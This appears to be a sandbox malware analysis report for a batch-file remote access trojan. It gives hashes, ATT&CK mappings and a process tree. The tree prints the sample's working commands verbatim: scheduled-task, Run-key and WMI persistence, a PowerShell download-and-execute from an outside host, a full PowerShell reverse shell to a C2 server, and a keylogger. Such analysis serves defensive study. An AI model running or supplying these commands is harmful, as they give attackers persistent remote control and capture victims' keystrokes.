68c795709c2debea93be164ff5cc4ebc2a1ee4d05a521a3844451618cb0f4673

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:33

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General

Target
rat_build_339030_014844.bat
Size 4KB
Sample260529-bym2qagv3x
SHA256 68c795709c2debea93be164ff5cc4ebc2a1ee4d05a521a3844451618cb0f4673
MD5 cb6a791bb2f337cba5a7f2f5d69e63a3
SHA1 e187a9ff950d5131056000f859b640148da54456
SHA512 76d92e293c94a0d0337b55a261984787fb4c808d21968bc48d18e267e28b666c5931a525a12c02f255c8e29d6239ea823dc71ab92cfc26b94bd263b9a74237c8
SSDEEP 96:+I9tHWGGG13iWXKbRVmKDed9JJ+8tUwUUkFCF2gdqQBiFgZk8mvlo1cT:+HGGG1ypE6WM8i0F2uBiFgkHlBT
TLSH
T16EA11A1B87B665B08A706618EE733C54131DC9FB2345C99EBE0C8DC80A4DB475A2A5E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_339030.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
652	powershell.exe
736	powershell.exe
3144	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_339030 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_339030.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3936	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3820	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2080	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4532	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
652	powershell.exe
652	powershell.exe
736	powershell.exe
736	powershell.exe
3144	powershell.exe
3144	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5116	WMIC.exe
Token: SeSecurityPrivilege	5116	WMIC.exe
Token: SeTakeOwnershipPrivilege	5116	WMIC.exe
Token: SeLoadDriverPrivilege	5116	WMIC.exe
Token: SeSystemProfilePrivilege	5116	WMIC.exe
Token: SeSystemtimePrivilege	5116	WMIC.exe
Token: SeProfSingleProcessPrivilege	5116	WMIC.exe
Token: SeIncBasePriorityPrivilege	5116	WMIC.exe
Token: SeCreatePagefilePrivilege	5116	WMIC.exe
Token: SeBackupPrivilege	5116	WMIC.exe
Token: SeRestorePrivilege	5116	WMIC.exe
Token: SeShutdownPrivilege	5116	WMIC.exe
Token: SeDebugPrivilege	5116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5116	WMIC.exe
Token: SeRemoteShutdownPrivilege	5116	WMIC.exe
Token: SeUndockPrivilege	5116	WMIC.exe
Token: SeManageVolumePrivilege	5116	WMIC.exe
Token: 33	5116	WMIC.exe
Token: 34	5116	WMIC.exe
Token: 35	5116	WMIC.exe
Token: 36	5116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5116	WMIC.exe
Token: SeSecurityPrivilege	5116	WMIC.exe
Token: SeTakeOwnershipPrivilege	5116	WMIC.exe
Token: SeLoadDriverPrivilege	5116	WMIC.exe
Token: SeSystemProfilePrivilege	5116	WMIC.exe
Token: SeSystemtimePrivilege	5116	WMIC.exe
Token: SeProfSingleProcessPrivilege	5116	WMIC.exe
Token: SeIncBasePriorityPrivilege	5116	WMIC.exe
Token: SeCreatePagefilePrivilege	5116	WMIC.exe
Token: SeBackupPrivilege	5116	WMIC.exe
Token: SeRestorePrivilege	5116	WMIC.exe
Token: SeShutdownPrivilege	5116	WMIC.exe
Token: SeDebugPrivilege	5116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5116	WMIC.exe
Token: SeRemoteShutdownPrivilege	5116	WMIC.exe
Token: SeUndockPrivilege	5116	WMIC.exe
Token: SeManageVolumePrivilege	5116	WMIC.exe
Token: 33	5116	WMIC.exe
Token: 34	5116	WMIC.exe
Token: 35	5116	WMIC.exe
Token: 36	5116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe
Token: 35	2156	WMIC.exe
Token: 36	2156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 4532	2248	cmd.exe	91
PID 2248 wrote to memory of 2080	2248	cmd.exe	92
PID 2248 wrote to memory of 5116	2248	cmd.exe	93
PID 2248 wrote to memory of 2156	2248	cmd.exe	94
PID 2248 wrote to memory of 4380	2248	cmd.exe	95
PID 2248 wrote to memory of 3820	2248	cmd.exe	97
PID 2248 wrote to memory of 3936	2248	cmd.exe	101
PID 2248 wrote to memory of 652	2248	cmd.exe	102
PID 2248 wrote to memory of 736	2248	cmd.exe	103
PID 2248 wrote to memory of 3144	2248	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_339030_014844.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_339030" /tr "C:\Users\Admin\AppData\Local\Temp\_339030.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4532
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_339030" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_339030.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2080
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_339030", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5116
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_339030", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_339030.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2156
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_339030.txt
  2⤵
  PID:4380
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3820
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_339030.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3ec7d6be864c269620ba32591fba1df0661a1063a0fe345e54c98e2605e0fac3
MD5 d6474cc5d14ba596a21b64af467b782a
SHA1 44ba120b1c01718efbd53e62c51bccb14e629076
SHA512 25ac6a53390ac567be66312a1660d90bab8c457e2e8fba107cf650f8cb0858e9cd5f7beefc792ffb8dfec509fe9df0aab6fd719ce34604daf5a0ce807bfb79c7
TLSH
T150117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 546758248a9b3e69f8271136e7d7f1f8d26cb67526a6beeb48c376846a1ac6dd
MD5 1c37f3235522f7ff6d26c1e6f9929f2c
SHA1 986474bde38a8df076658e4f50b196d208258f25
SHA512 29ad2612a3f946e9ee7435a7137a13ff72a11c794a37e5df3c9054996f42888a64d1c263a3e3ec3a4efe64784ac213d2aa4dc7b3dd1001b2721e213b5932001d
TLSH
T110115727B39C89A1CC96153A409D9C1172B683D7809EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_caabsvch.sdl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_caabsvch.sdl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/652-3-0x000001FEAA880000-0x000001FEAA8A2000-memory.dmp

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